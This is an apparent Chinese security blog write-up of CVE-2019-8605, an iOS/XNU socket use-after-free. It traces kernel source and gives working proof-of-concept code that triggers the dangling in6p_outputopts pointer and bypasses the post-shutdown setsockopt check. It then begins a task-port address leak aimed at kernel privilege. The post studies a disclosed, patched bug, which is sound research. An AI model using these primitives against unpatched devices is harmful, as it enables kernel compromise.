wnagzihxa1n

wnagzihxa1n

iOS/Android Security

© 2021

CVE-2019-8605 FROM UAF TO TFP0

PDF版本请点击此处下载

这篇文章的开始是我看了Ned Williamson的一个漏洞

  • https://bugs.chromium.org/p/project-zero/issues/detail?id=1806

同时还在PJ0的博客上发了一篇非常非常棒的文章

  • https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html

公告

// https://support.apple.com/en-us/HT210549

Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A use after free issue was addressed with improved memory management.

CVE-2019-8605: Ned Williamson working with Google Project Zero

1. 开发层面的Socket

如公告所描述,这是一个存在于Socket中的UAF漏洞

一般搞开发的同学对于Socket更多的是了解到开发层面,比如使用Socket通信,我们从开发层面开始,逐步分析到底层

我们在学习计算机网络的时候,通过逻辑分层将网络分为七层,也叫作七层模型

  • https://en.wikipedia.org/wiki/OSI_model

后来又出现了更为符合使用习惯的四层模型

  • https://en.wikipedia.org/wiki/Internet_protocol_suite

函数socket()的原型如下,一共有三个参数

int socket(int domain, int type, int protocol);

第一个参数domain:协议族,比如AF_INETAF_INET6

第二个参数type:socket类型,比如SOCK_STREAMSOCK_DGRAMSOCK_RAW

#define	SOCK_STREAM	1		/* stream socket */
#define	SOCK_DGRAM	2		/* datagram socket */
#define	SOCK_RAW	3		/* raw-protocol interface */
#if !defined(_POSIX_C_SOURCE) || defined(_DARWIN_C_SOURCE)
#define	SOCK_RDM	4		/* reliably-delivered message */
#endif	/* (!_POSIX_C_SOURCE || _DARWIN_C_SOURCE) */
#define	SOCK_SEQPACKET	5		/* sequenced packet stream */

第三个参数protocol:传输协议,比如IPPROTO_TCPIPPROTO_UDP

创建一个Socket对象的代码如下

int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if (tcp_sock < 0) {
    printf("[-] Can't create socket, error %d (%s)\n", errno, strerror(errno));
    return -1;
}

如果要使用它作为服务端,还需要调用函数bind()绑定本地端口,然后调用函数listen()进行监听,最后在循环体内调用函数accept()与客户端建立连接,之后就可以发送数据通信了

关于Socket网络编程有一份文档写的真的很好,墙裂建议阅读

  • https://beej.us/guide/bgnet/html/#socket

2. 漏洞源码分析

用户态函数disconnectx()

这个函数很难在搜索网站上搜到相关文档信息,我最后是通过源码阅读来理解这个函数调用在Poc里的作用

__API_AVAILABLE(macosx(10.11), ios(9.0), tvos(9.0), watchos(2.0))
int disconnectx(int, sae_associd_t, sae_connid_t);

448	AUE_NULL	ALL	{ int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }

通过分发,会调用到这个内核态函数,然后调用位置1的函数disconnectx_nocancel()

int
disconnectx(struct proc *p, struct disconnectx_args *uap, int *retval)
{
	/*
	 * Due to similiarity with a POSIX interface, define as
	 * an unofficial cancellation point.
	 */
	__pthread_testcancel(1);
	return (disconnectx_nocancel(p, uap, retval));    // 1
}

位置2的函数file_socket()获取结构体变量so,最后调用位置3的函数sodisconnectx()

static int
disconnectx_nocancel(struct proc *p, struct disconnectx_args *uap, int *retval)
{
#pragma unused(p, retval)
	struct socket *so;
	int fd = uap->s;
	int error;

	error = file_socket(fd, &so);    // 2
	if (error != 0)
		return (error);
	if (so == NULL) {
		error = EBADF;
		goto out;
	}

	error = sodisconnectx(so, uap->aid, uap->cid);    // 3
out:
	file_drop(fd);
	return (error);
}

前后调用函数socket_lock()socket_unlock()用了锁防条件竞争,然后调用位置4的函数sodisconnectxlocked()

int
sodisconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
	int error;

	socket_lock(so, 1);
	error = sodisconnectxlocked(so, aid, cid);    // 4
	socket_unlock(so, 1);
	return (error);
}

位置5的*so->so_proto->pr_usrreqs->pru_disconnectx是一个函数

int
sodisconnectxlocked(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
	int error;

	/*
	 * Call the protocol disconnectx handler; let it handle all
	 * matters related to the connection state of this session.
	 */
	error = (*so->so_proto->pr_usrreqs->pru_disconnectx)(so, aid, cid);    // 5
	if (error == 0) {
		/*
		 * The event applies only for the session, not for
		 * the disconnection of individual subflows.
		 */
		if (so->so_state & (SS_ISDISCONNECTING|SS_ISDISCONNECTED))
			sflt_notify(so, sock_evt_disconnected, NULL);
	}
	return (error);
}

通过结构体初始化赋值的特征进行搜索,找到对应的实现是函数tcp_usr_disconnectx(),该函数的三个参数就是用户态传入的参数,位置6有一个条件判断,我们只需要令第二个参数为0即可绕过,绕过判断之后,调用位置7的函数tcp_usr_disconnect()

#define	SAE_ASSOCID_ANY	0
#define	SAE_ASSOCID_ALL	((sae_associd_t)(-1ULL))
#define	EINVAL		22		/* Invalid argument */

static int
tcp_usr_disconnectx(struct socket *so, sae_associd_t aid, sae_connid_t cid)
{
#pragma unused(cid)
	if (aid != SAE_ASSOCID_ANY && aid != SAE_ASSOCID_ALL)    // 6
		return (EINVAL);

	return (tcp_usr_disconnect(so));    // 7
}

函数tcp_usr_disconnect()有两个宏:COMMON_START()COMMON_END(PRU_DISCONNECT)COMMON_START()会执行tp = intotcpcb(inp)对变量tp进行赋值,所以业务逻辑上是没有问题的,然后调用位置8的函数tcp_disconnect()

static int
tcp_usr_disconnect(struct socket *so)
{
	int error = 0;
	struct inpcb *inp = sotoinpcb(so);
	struct tcpcb *tp;

	socket_lock_assert_owned(so);
	COMMON_START();
        /* In case we got disconnected from the peer */
        if (tp == NULL)
		goto out;
	tp = tcp_disconnect(tp);    // 8
	COMMON_END(PRU_DISCONNECT);
}

函数tcp_disconnect()有一个判断tp->t_state < TCPS_ESTABLISHEDtp->t_state是Socket状态,我列举了部分,因为我们只创建了一个结构体变量socket,并没有调用函数bind()与函数listen(),所以状态为TCPS_CLOSED,那么这里就应该调用位置9的函数tcp_close()

#define	TCPS_CLOSED		0	/* closed */
#define	TCPS_LISTEN		1	/* listening for connection */
#define	TCPS_SYN_SENT		2	/* active, have sent syn */
#define	TCPS_SYN_RECEIVED	3	/* have send and received syn */
/* states < TCPS_ESTABLISHED are those where connections not established */
#define	TCPS_ESTABLISHED	4	/* established */

static struct tcpcb *
tcp_disconnect(struct tcpcb *tp)
{
	struct socket *so = tp->t_inpcb->inp_socket;

	if (so->so_rcv.sb_cc != 0 || tp->t_reassqlen != 0)
		return tcp_drop(tp, 0);

	if (tp->t_state < TCPS_ESTABLISHED)
		tp = tcp_close(tp);    // 9
	else if ((so->so_options & SO_LINGER) && so->so_linger == 0)
		tp = tcp_drop(tp, 0);
	else {
		soisdisconnecting(so);
		sbflush(&so->so_rcv);
		tp = tcp_usrclosed(tp);
#if MPTCP
		/* A reset has been sent but socket exists, do not send FIN */
		if ((so->so_flags & SOF_MP_SUBFLOW) &&
		    (tp) && (tp->t_mpflags & TMPF_RESET))
			return (tp);
#endif
		if (tp)
			(void) tcp_output(tp);
	}
	return (tp);
}

想要在用户态进行状态判断可以参照如下代码

// https://developer.apple.com/documentation/kernel/tcp_connection_info

int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
struct tcp_connection_info info;
int len = sizeof(info);
getsockopt(tcp_sock, IPPROTO_TCP, TCP_CONNECTION_INFO, &info, (socklen_t *)&len);
NSLog(@"%d", info.tcpi_state);

函数tcp_close()实在是太长了,这里去掉了部分业务逻辑代码,反正肯定会执行到下面的,此处会判断协议族,本次漏洞发生在位置10的函数in6_pcbdetach()

struct tcpcb *
tcp_close(struct tcpcb *tp)
{
	struct inpcb *inp = tp->t_inpcb;
	struct socket *so = inp->inp_socket;
	
	...

#if INET6
	if (SOCK_CHECK_DOM(so, PF_INET6))
		in6_pcbdetach(inp);    // 10
	else
#endif /* INET6 */
	in_pcbdetach(inp);

	/*
	 * Call soisdisconnected after detach because it might unlock the socket
	 */
	soisdisconnected(so);
	tcpstat.tcps_closed++;
	KERNEL_DEBUG(DBG_FNC_TCP_CLOSE | DBG_FUNC_END,
	    tcpstat.tcps_closed, 0, 0, 0, 0);
	return (NULL);
}

函数in6_pcbdetach()的位置11调用函数ip6_freepcbopts()释放结构体成员inp->in6p_outputopts,从上下文可以看出来,这里只进行了释放操作,并没有将inp->in6p_outputopts置为NULL,符合UAF的漏洞模型

void
in6_pcbdetach(struct inpcb *inp)
{
	struct socket *so = inp->inp_socket;

	if (so->so_pcb == NULL) {
		/* PCB has been disposed */
		panic("%s: inp=%p so=%p proto=%d so_pcb is null!\n", __func__,
		    inp, so, SOCK_PROTO(so));
		/* NOTREACHED */
	}

#if IPSEC
	if (inp->in6p_sp != NULL) {
		(void) ipsec6_delete_pcbpolicy(inp);
	}
#endif /* IPSEC */

	if (inp->inp_stat != NULL && SOCK_PROTO(so) == IPPROTO_UDP) {
		if (inp->inp_stat->rxpackets == 0 && inp->inp_stat->txpackets == 0) {
			INC_ATOMIC_INT64_LIM(net_api_stats.nas_socket_inet6_dgram_no_data);
		}
	}

	/*
	 * Let NetworkStatistics know this PCB is going away
	 * before we detach it.
	 */
	if (nstat_collect &&
	    (SOCK_PROTO(so) == IPPROTO_TCP || SOCK_PROTO(so) == IPPROTO_UDP))
		nstat_pcb_detach(inp);
	/* mark socket state as dead */
	if (in_pcb_checkstate(inp, WNT_STOPUSING, 1) != WNT_STOPUSING) {
		panic("%s: so=%p proto=%d couldn't set to STOPUSING\n",
		    __func__, so, SOCK_PROTO(so));
		/* NOTREACHED */
	}

	if (!(so->so_flags & SOF_PCBCLEARING)) {
		struct ip_moptions *imo;
		struct ip6_moptions *im6o;

		inp->inp_vflag = 0;
		if (inp->in6p_options != NULL) {
			m_freem(inp->in6p_options);
			inp->in6p_options = NULL;
		}
		ip6_freepcbopts(inp->in6p_outputopts);    // 11
		ROUTE_RELEASE(&inp->in6p_route);
		/* free IPv4 related resources in case of mapped addr */
		if (inp->inp_options != NULL) {
			(void) m_free(inp->inp_options);
			inp->inp_options = NULL;
		}
		im6o = inp->in6p_moptions;
		inp->in6p_moptions = NULL;

		imo = inp->inp_moptions;
		inp->inp_moptions = NULL;

		sofreelastref(so, 0);
		inp->inp_state = INPCB_STATE_DEAD;
		/* makes sure we're not called twice from so_close */
		so->so_flags |= SOF_PCBCLEARING;

		inpcb_gc_sched(inp->inp_pcbinfo, INPCB_TIMER_FAST);

		/*
		 * See inp_join_group() for why we need to unlock
		 */
		if (im6o != NULL || imo != NULL) {
			socket_unlock(so, 0);
			if (im6o != NULL)
				IM6O_REMREF(im6o);
			if (imo != NULL)
				IMO_REMREF(imo);
			socket_lock(so, 0);
		}
	}
}

跟到这里我只能说Socket实在是太庞大了!

3. 探索漏洞触发路径

从漏洞分析可以看到这个漏洞函数是可以从用户态进行调用的

448	AUE_NULL	ALL	{ int disconnectx(int s, sae_associd_t aid, sae_connid_t cid); }

所以最基本的调用代码如下,调用完函数disconnectx()之后,我们就获得了一个存在漏洞的结构体变量tcp_sock

int main(int argc, char * argv[]) {
    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    disconnectx(tcp_sock, 0, 0);
}

我们知道,UAF漏洞的一个关键点在于释放掉的一个指针后续被继续使用,那我们如何使用一个被关闭后的Socket呢?

Socket有两个属性读写函数getsockopt()setsockopt(),两个函数的原型如下

105	AUE_SETSOCKOPT	ALL	{ int setsockopt(int s, int level, int name, caddr_t val, socklen_t valsize); } 
118	AUE_GETSOCKOPT	ALL	{ int getsockopt(int s, int level, int name, caddr_t val, socklen_t *avalsize); } 

函数setsockopt()的第一个参数是Socket变量,第二个参数有多个选择,看操作的层级,第三个是操作的选项名,这个选项名跟第二个参数level有关,第四个参数是新选项值的指针,第五个参数是第四个参数的大小

#define IPV6_USE_MIN_MTU 42

int get_minmtu(int sock, int *minmtu) {
    socklen_t size = sizeof(*minmtu);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}

int main(int argc, char * argv[]) {
    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    // SOPT_SET
    int minmtu = -1;
    setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    // // SOPT_GET
    int mtu;
    get_minmtu(tcp_sock, &mtu);
    NSLog(@"%d\n", mtu);
}

为什么第二个参数和第三个参数要设置成IPPROTO_IPV6IPV6_USE_MIN_MTU

这就要先来看最开始那个没有被置为NULL的结构体成员inp->in6p_outputopts了,这个成员的结构体定义如下

struct	ip6_pktopts {
	struct	mbuf *ip6po_m;	/* Pointer to mbuf storing the data */
	int	ip6po_hlim;	/* Hoplimit for outgoing packets */

	/* Outgoing IF/address information */
	struct	in6_pktinfo *ip6po_pktinfo;

	/* Next-hop address information */
	struct	ip6po_nhinfo ip6po_nhinfo;

	struct	ip6_hbh *ip6po_hbh; /* Hop-by-Hop options header */

	/* Destination options header (before a routing header) */
	struct	ip6_dest *ip6po_dest1;

	/* Routing header related info. */
	struct	ip6po_rhinfo ip6po_rhinfo;

	/* Destination options header (after a routing header) */
	struct	ip6_dest *ip6po_dest2;

	int	ip6po_tclass;	/* traffic class */

	int	ip6po_minmtu;  /* fragment vs PMTU discovery policy */
#define	IP6PO_MINMTU_MCASTONLY	-1 /* default; send at min MTU for multicast */
#define	IP6PO_MINMTU_DISABLE	 0 /* always perform pmtu disc */
#define	IP6PO_MINMTU_ALL	 1 /* always send at min MTU */

	/* whether temporary addresses are preferred as source address */
	int	ip6po_prefer_tempaddr;

#define	IP6PO_TEMPADDR_SYSTEM	-1 /* follow the system default */
#define	IP6PO_TEMPADDR_NOTPREFER 0 /* not prefer temporary address */
#define	IP6PO_TEMPADDR_PREFER	 1 /* prefer temporary address */

	int ip6po_flags;
#if 0	/* parameters in this block is obsolete. do not reuse the values. */
#define	IP6PO_REACHCONF	0x01	/* upper-layer reachability confirmation. */
#define	IP6PO_MINMTU	0x02	/* use minimum MTU (IPV6_USE_MIN_MTU) */
#endif
#define	IP6PO_DONTFRAG		0x04	/* no fragmentation (IPV6_DONTFRAG) */
#define	IP6PO_USECOA		0x08	/* use care of address */
};

无论是set*()还是get*(),最后都肯定是要通过一个case判断再操作到结构体成员的

源码搜索IPV6_USE_MIN_MTU,在函数ip6_getpcbopt发现一段符合我们所说特征的代码,可见选项IPV6_USE_MIN_MTU操作的结构体成员是ip6_pktopts->ip6po_minmtu

static int
ip6_setpktopt(int optname, u_char *buf, int len, struct ip6_pktopts *opt,
    int sticky, int cmsg, int uproto)
{
	...
	switch (optname) {
	...
	case IPV6_USE_MIN_MTU:
		if (len != sizeof (int))
			return (EINVAL);
		minmtupolicy = *(int *)(void *)buf;
		if (minmtupolicy != IP6PO_MINMTU_MCASTONLY &&
		    minmtupolicy != IP6PO_MINMTU_DISABLE &&
		    minmtupolicy != IP6PO_MINMTU_ALL) {
			return (EINVAL);
		}
		opt->ip6po_minmtu = minmtupolicy;    // 赋值操作
		break;

函数ip6_setpktopts()和函数ip6_pcbopt()都调用到了函数ip6_setpktopt(),但前者的调用逻辑不符合,所以确定调用者是函数ip6_pcbopt

static int
ip6_pcbopt(int optname, u_char *buf, int len, struct ip6_pktopts **pktopt,
    int uproto)
{
	struct ip6_pktopts *opt;

	opt = *pktopt;
	if (opt == NULL) {
		opt = _MALLOC(sizeof (*opt), M_IP6OPT, M_WAITOK);
		if (opt == NULL)
			return (ENOBUFS);
		ip6_initpktopts(opt);
		*pktopt = opt;
	}

	return (ip6_setpktopt(optname, buf, len, opt, 1, 0, uproto));
}

在函数ip6_ctloutput()里,当optnameIPV6_USE_MIN_MTU的时候调用函数ip6_pcbopt()

int
ip6_ctloutput(struct socket *so, struct sockopt *sopt)
{
	...
	if (level == IPPROTO_IPV6) {
		boolean_t capture_exthdrstat_in = FALSE;
		switch (op) {
		case SOPT_SET:
			switch (optname) {
			...
			case IPV6_TCLASS:
			case IPV6_DONTFRAG:
			case IPV6_USE_MIN_MTU:
			case IPV6_PREFER_TEMPADDR: {
				...
				optp = &in6p->in6p_outputopts;
				error = ip6_pcbopt(optname, (u_char *)&optval,
				    sizeof (optval), optp, uproto);
				...
				break;
			}

函数rip6_ctloutput()做了SOPT_SETSOPT_GET的判断,IPV6_USE_MIN_MTU会走default分支调用函数ip6_ctloutput()

int
rip6_ctloutput(
	struct socket *so,
	struct sockopt *sopt)
{
	...
	switch (sopt->sopt_dir) {
	case SOPT_GET:
	...
	case SOPT_SET:
		switch (sopt->sopt_name) {
		case IPV6_CHECKSUM:
			error = ip6_raw_ctloutput(so, sopt);
			break;

		case SO_FLUSH:
			if ((error = sooptcopyin(sopt, &optval, sizeof (optval),
			    sizeof (optval))) != 0)
				break;

			error = inp_flush(sotoinpcb(so), optval);
			break;

		default:
			error = ip6_ctloutput(so, sopt);    // 选项名为IPV6_USE_MIN_MTU
			break;
		}
		break;
	}

	return (error);
}

函数rip6_ctloutput()并不是常规的层层调用回去,而是使用结构体赋值的形式进行调用

{
	...
	.pr_ctloutput =		rip6_ctloutput,
}

这个也简单,直接搜索->pr_ctloutput,当level不是SOL_SOCKET的时候,就调用函数rip6_ctloutput()

int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
	...

	if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==
	    (SS_CANTRCVMORE | SS_CANTSENDMORE) &&
	    (so->so_flags & SOF_NPX_SETOPTSHUT) == 0) {
		/* the socket has been shutdown, no more sockopt's */
		error = EINVAL;
		goto out;
	}

	...

	if (sopt->sopt_level != SOL_SOCKET) {
		if (so->so_proto != NULL &&
		    so->so_proto->pr_ctloutput != NULL) {
			error = (*so->so_proto->pr_ctloutput)(so, sopt);
			goto out;
		}
		error = ENOPROTOOPT;
	} else {

最后回到最早的调用函数setsockopt()

int
setsockopt(struct proc *p, struct setsockopt_args *uap,
    __unused int32_t *retval)
{
	struct socket *so;
	struct sockopt sopt;
	int error;

	AUDIT_ARG(fd, uap->s);
	if (uap->val == 0 && uap->valsize != 0)
		return (EFAULT);
	/* No bounds checking on size (it's unsigned) */

	error = file_socket(uap->s, &so);
	if (error)
		return (error);

	sopt.sopt_dir = SOPT_SET;
	sopt.sopt_level = uap->level;
	sopt.sopt_name = uap->name;
	sopt.sopt_val = uap->val;
	sopt.sopt_valsize = uap->valsize;
	sopt.sopt_p = p;

	if (so == NULL) {
		error = EINVAL;
		goto out;
	}
#if CONFIG_MACF_SOCKET_SUBSET
	if ((error = mac_socket_check_setsockopt(kauth_cred_get(), so,
	    &sopt)) != 0)
		goto out;
#endif /* MAC_SOCKET_SUBSET */
	error = sosetoptlock(so, &sopt, 1);	/* will lock socket */
out:
	file_drop(uap->s);
	return (error);
}

以上为参数IPPROTO_IPV6IPV6_USE_MIN_MTU的由来

但记住,现在是Socket还正常存在的情况,如果调用了函数disconnectx()呢?

Socket被关闭了还能操作吗?

#define IPV6_USE_MIN_MTU 42

int get_minmtu(int sock, int *minmtu) {
    socklen_t size = sizeof(*minmtu);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}

int main(int argc, char * argv[]) {
    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    // SOPT_SET
    int minmtu = -1;
    setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    // 释放in6p_outputopts
    disconnectx(tcp_sock, 0, 0);
    int ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    if (ret) {
        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
}

显然是不能的

[-] setsockopt() failed, error 22 (Invalid argument)

因为在函数sosetoptlock()有一个检查,如果发现Socket已经被关闭,就直接失败

#define	SS_CANTRCVMORE		0x0020	/* can't receive more data from peer */
#define	SS_CANTSENDMORE		0x0010	/* can't send more data to peer */
#define	SOF_NPX_SETOPTSHUT	0x00002000 /* Non POSIX extension to allow

int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
	...

	if ((so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) ==
	    (SS_CANTRCVMORE | SS_CANTSENDMORE) &&
	    (so->so_flags & SOF_NPX_SETOPTSHUT) == 0) {
		/* the socket has been shutdown, no more sockopt's */
		error = EINVAL;
		goto out;
	}
	...

理解一下这个检查,左边so->so_state只能是SS_CANTRCVMORESS_CANTSENDMORE之间任意一种且右边so->so_flags不能是SOF_NPX_SETOPTSHUT,就会跳到goto out

(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE) 
&& (so->so_flags & SOF_NPX_SETOPTSHUT) == 0

但是天无绝人之路,看下面这个宏,允许在关闭Socket之后使用函数setsockopt

#define	SONPX_SETOPTSHUT	0x000000001	/* flag for allowing setsockopt after shutdown */

找到这个宏的使用场景,发现是在levelSOL_SOCKET的分支里,当满足sonpx.npx_masksonpx.npx_flags都为SONPX_SETOPTSHUT时,就会给so->so_flags添加SOF_NPX_SETOPTSHUT标志位

int
sosetoptlock(struct socket *so, struct sockopt *sopt, int dolock)
{
	...
	if (sopt->sopt_level != SOL_SOCKET) {
		...
	} else {
		...
		switch (sopt->sopt_name) {
		...
		case SO_NP_EXTENSIONS: {
			struct so_np_extensions sonpx;

			error = sooptcopyin(sopt, &sonpx, sizeof (sonpx),
			    sizeof (sonpx));
			if (error != 0)
				goto out;
			if (sonpx.npx_mask & ~SONPX_MASK_VALID) {
				error = EINVAL;
				goto out;
			}
			/*
			 * Only one bit defined for now
			 */
			if ((sonpx.npx_mask & SONPX_SETOPTSHUT)) {
				if ((sonpx.npx_flags & SONPX_SETOPTSHUT))
					so->so_flags |= SOF_NPX_SETOPTSHUT;    // 添加标志位
				else
					so->so_flags &= ~SOF_NPX_SETOPTSHUT;
			}
			break;
		}

so->so_flags拥有SOF_NPX_SETOPTSHUT标志位,那么右边的检查就不能成立,成功绕过

(so->so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE)) == (SS_CANTRCVMORE | SS_CANTSENDMORE) 
&& (so->so_flags & SOF_NPX_SETOPTSHUT) == 0

此时的代码如下

int main(int argc, char * argv[]) {
    int tcp_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    int minmtu = -1;
    setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    setsockopt(tcp_sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    disconnectx(tcp_sock, 0, 0);
    minmtu = 1;
    ret = setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
    if (ret) {
        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    int mtu;
    get_minmtu(tcp_sock, &mtu);
    NSLog(@"%d\n", mtu);
    
    return UIApplicationMain(argc, argv, nil, appDelegateClassName);
}

相当成功

2021-01-20 00:26:04.136672+0800 CVE-2019-8605-iOS[650:238743] 1

4. 泄露Task Port内核态地址

UAF漏洞常规利用方案是堆喷分配到先前释放掉的空间,这样我们拥有的指针指向的空间数据就可控,接下来尝试泄露一个地址

按照Ned Williamson的思路来分析利用方案,以下的分析顺序并非按照Exp的顺序进行,大家可自行对照

  • https://bugs.chromium.org/p/project-zero/issues/attachment?aid=403533&signed_aid=-2cO9Y7SDzmQNv1CHt6J3w==

那么我们泄露什么地址呢?

答案是:Task Port

为了解释说明什么是Task Port以及获取Task Port能干什么,这里先介绍XNU的Task

Task是资源的容器,封装了虚拟地址空间,处理器资源,调度控制等,对应的结构体如下,重点注意其中的IPC structures部分

struct task {
	/* Synchronization/destruction information */
	decl_lck_mtx_data(,lock)		/* Task's lock */
	_Atomic uint32_t	ref_count;	/* Number of references to me */
	boolean_t	active;		/* Task has not been terminated */
	boolean_t	halting;	/* Task is being halted */
	/* Virtual timers */
	uint32_t		vtimers;

	/* Miscellaneous */
	vm_map_t	map;		/* Address space description */
	queue_chain_t	tasks;	/* global list of tasks */

	/* Threads in this task */
	queue_head_t		threads;

	...

	/* IPC structures */
	decl_lck_mtx_data(,itk_lock_data)
	struct ipc_port *itk_self;	/* not a right, doesn't hold ref */
	struct ipc_port *itk_nself;	/* not a right, doesn't hold ref */
	struct ipc_port *itk_sself;	/* a send right */
	struct exception_action exc_actions[EXC_TYPES_COUNT];
		 			/* a send right each valid element  */
	struct ipc_port *itk_host;	/* a send right */
	struct ipc_port *itk_bootstrap;	/* a send right */
	struct ipc_port *itk_seatbelt;	/* a send right */
	struct ipc_port *itk_gssd;	/* yet another send right */
	struct ipc_port *itk_debug_control; /* send right for debugmode communications */
	struct ipc_port *itk_task_access; /* and another send right */ 
	struct ipc_port *itk_resume;	/* a receive right to resume this task */
	struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
					/* all send rights */

	struct ipc_space *itk_space;
	...
};

简单来说,Task Port是任务本身的Port,使用mach_task_selfmach_task_self()都可以获取到它,我可以利用它做很多事情,下面利用代码中的函数find_port_via_uaf()第一个参数就是通过调用函数mach_task_self()获取的

泄露Task Port的流程如下

self_port_addr = task_self_addr(); // port leak primitive

这里还用到了缓存机制

uint64_t task_self_addr() {
    static uint64_t cached_task_self_addr = 0;
    // 判断是否获取过Task Port地址
    if (cached_task_self_addr)
        return cached_task_self_addr;   // 返回缓存的Task Port地址
    else
        return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
}

先获取一个存在漏洞的Socket,然后填充释放掉的内存并利用inp->in6p_outputopts读取数据

uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    int sock = get_socket_with_dangling_options();
    
    // 填充释放掉的内存并利用inp->in6p_outputopts读取数据
		...
    
    close(sock);
    return 0;
}

这里不直接填充数据是因为Port在用户态和内核态表现形式不一样,我们不能盲目直接把Port填充进去

在用户态,Port是一个无符号整形

typedef __darwin_mach_port_t mach_port_t;
typedef __darwin_mach_port_name_t __darwin_mach_port_t; /* Used by mach */
typedef __darwin_natural_t __darwin_mach_port_name_t; /* Used by mach */
typedef unsigned int		__darwin_natural_t;

在内核态,Port可是一个结构体ipc_port

struct ipc_port {

	/*
	 * Initial sub-structure in common with ipc_pset
	 * First element is an ipc_object second is a
	 * message queue
	 */
	struct ipc_object ip_object;
	struct ipc_mqueue ip_messages;

	union {
		struct ipc_space *receiver;
		struct ipc_port *destination;
		ipc_port_timestamp_t timestamp;
	} data;

	union {
		ipc_kobject_t kobject;
		ipc_importance_task_t imp_task;
		ipc_port_t sync_inheritor_port;
		struct knote *sync_inheritor_knote;
		struct turnstile *sync_inheritor_ts;
	} kdata;

	struct ipc_port *ip_nsrequest;
	struct ipc_port *ip_pdrequest;
	struct ipc_port_request *ip_requests;
	union {
		struct ipc_kmsg *premsg;
		struct turnstile *send_turnstile;
		SLIST_ENTRY(ipc_port) dealloc_elm;
	} kdata2;

	mach_vm_address_t ip_context;

	natural_t ip_sprequests:1,	/* send-possible requests outstanding */
		  ip_spimportant:1,	/* ... at least one is importance donating */
		  ip_impdonation:1,	/* port supports importance donation */
		  ip_tempowner:1,	/* dont give donations to current receiver */
		  ip_guarded:1,         /* port guarded (use context value as guard) */
		  ip_strict_guard:1,	/* Strict guarding; Prevents user manipulation of context values directly */
		  ip_specialreply:1,	/* port is a special reply port */
		  ip_sync_link_state:3,	/* link the special reply port to destination port/ Workloop */
		  ip_impcount:22;	/* number of importance donations in nested queue */

	mach_port_mscount_t ip_mscount;
	mach_port_rights_t ip_srights;
	mach_port_rights_t ip_sorights;

#if	MACH_ASSERT
#define	IP_NSPARES		4
#define	IP_CALLSTACK_MAX	16
/*	queue_chain_t	ip_port_links;*//* all allocated ports */
	thread_t	ip_thread;	/* who made me?  thread context */
	unsigned long	ip_timetrack;	/* give an idea of "when" created */
	uintptr_t	ip_callstack[IP_CALLSTACK_MAX]; /* stack trace */
	unsigned long	ip_spares[IP_NSPARES]; /* for debugging */
#endif	/* MACH_ASSERT */
#if DEVELOPMENT || DEBUG
	uint8_t		ip_srp_lost_link:1,	/* special reply port turnstile link chain broken */
			ip_srp_msg_sent:1;	/* special reply port msg sent */
#endif
};

那怎么把它的内核态地址分配到inp->in6p_outputopts呢?

答案是:使用OOL Message

OOL Message定义如下,结构体mach_msg_ool_ports_descriptor_t用于在一条消息里以Port数组的形式发送多个Mach Port

struct ool_msg  {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
};

为什么要使用OOL Message作为填充对象,我们可以从源码中找到答案

Mach Message的接收与发送依赖函数mach_msg()进行,这个函数在用户态与内核态均有实现

我们跟入函数mach_msg(),函数mach_msg()会调用函数mach_msg_trap(),函数mach_msg_trap()会调用函数mach_msg_overwrite_trap()

mach_msg_return_t
mach_msg_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	kern_return_t kr;
	args->rcv_msg = (mach_vm_address_t)0;

	kr = mach_msg_overwrite_trap(args);
	return kr;
}

当函数mach_msg()第二个参数是MACH_SEND_MSG的时候,函数ipc_kmsg_get()用于分配缓冲区并从用户态拷贝数据到内核态

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	mach_vm_address_t       msg_addr = args->msg;
	mach_msg_option_t       option = args->option;  // mach_msg()第二个参数
    ...

	mach_msg_return_t  mr = MACH_MSG_SUCCESS; // 大吉大利
	vm_map_t map = current_map();

	/* Only accept options allowed by the user */
	option &= MACH_MSG_OPTION_USER;

	if (option & MACH_SEND_MSG) {
